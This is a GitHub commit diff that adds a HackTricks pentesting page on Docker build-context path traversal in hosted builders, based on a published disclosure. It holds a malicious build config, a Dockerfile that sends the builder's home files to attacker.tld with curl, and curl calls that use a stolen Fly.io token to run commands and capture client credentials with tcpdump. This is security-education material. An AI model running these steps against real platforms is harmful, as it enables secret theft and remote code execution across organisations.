Skip to content

Commit 9c558ff

Browse files
authored
Merge pull request #228 from HackTricks-wiki/update_Breaking_MCP_Server_Hosting__Build-Context_Path_Tr_20251025_123530
Breaking MCP Server Hosting Build-Context Path Traversal to ...
2 parents 5775dd8 + 469887f commit 9c558ff

File tree

3 files changed

+117
-1
lines changed

3 files changed

+117
-1
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
# 🏭 Pentesting CI/CD
1010

1111
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
12+
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
1213
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
1314
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
1415
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -578,5 +579,4 @@
578579

579580
- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
580581
- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
581-
582582

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+
5+
## TL;DR
6+
7+
If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE.
8+
9+
## Attack surface
10+
11+
Many hosted builder/registry services do roughly this when building user-submitted images:
12+
- Read a repo-level config that includes:
13+
- build context path (sent to the Docker daemon)
14+
- Dockerfile path relative to that context
15+
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
16+
- Build the image and run it as a hosted service
17+
18+
If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile.
19+
20+
Practical constraints commonly observed:
21+
- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
22+
- The build user must have read access to files included in the context; special device files can break the copy.
23+
24+
## PoC: Path traversal via Docker build context
25+
26+
Example malicious server config declaring a Dockerfile within the parent directory context:
27+
28+
```yaml
29+
runtime: "container"
30+
build:
31+
dockerfile: "test/Dockerfile" # Must reside inside the final context
32+
dockerBuildPath: ".." # Path traversal to builder user $HOME
33+
startCommand:
34+
type: "http"
35+
configSchema:
36+
type: "object"
37+
properties:
38+
apiKey:
39+
type: "string"
40+
required: ["apiKey"]
41+
exampleConfig:
42+
apiKey: "sk-example123"
43+
```
44+
45+
Notes:
46+
- Using ".." often resolves to the builder user’s home (e.g., /home/builder), which typically contains sensitive files.
47+
- Place your Dockerfile under the repo’s directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context.
48+
49+
## PoC: Dockerfile to ingest and exfiltrate the host context
50+
51+
```dockerfile
52+
FROM alpine
53+
RUN apk add --no-cache curl
54+
RUN mkdir /data
55+
COPY . /data # Copies entire build context (now builder’s $HOME)
56+
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
57+
```
58+
59+
Targets commonly recovered from $HOME:
60+
- ~/.docker/config.json (registry auths/tokens)
61+
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
62+
63+
Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repo’s .dockerignore, host files may still be exposed.
64+
65+
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
66+
67+
Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.
68+
69+
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
70+
71+
Enumerate apps in an org:
72+
```bash
73+
curl -H "Authorization: Bearer fm2_..." \
74+
"https://api.machines.dev/v1/apps?org_slug=smithery"
75+
```
76+
77+
Run a command as root inside any machine of an app:
78+
```bash
79+
curl -s -X POST -H "Authorization: Bearer fm2_..." \
80+
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
81+
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
82+
```
83+
84+
Outcome: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
85+
86+
## Secret theft from compromised hosted services
87+
88+
With exec/RCE on hosted servers, you can harvest client-supplied secrets (API keys, tokens) or mount prompt-injection attacks. Example: install tcpdump and capture HTTP traffic on port 8080 to extract inbound credentials.
89+
90+
```bash
91+
# Install tcpdump inside the machine
92+
curl -s -X POST -H "Authorization: Bearer fm2_..." \
93+
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
94+
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
95+
96+
# Capture traffic
97+
curl -s -X POST -H "Authorization: Bearer fm2_..." \
98+
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
99+
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
100+
```
101+
102+
Captured requests often contain client credentials in headers, bodies, or query params.
103+
104+
## References
105+
106+
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
107+
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
108+
109+
{{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,13 @@ These files typically have a consistent name and format, for example — Jenkins
4949

5050
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
5151

52+
> [!TIP]
53+
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
54+
>
55+
>{{#ref}}
56+
>docker-build-context-abuse.md
57+
>{{#endref}}
58+
5259
### PPE - Poisoned Pipeline Execution
5360

5461
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.

0 commit comments

Comments
 (0)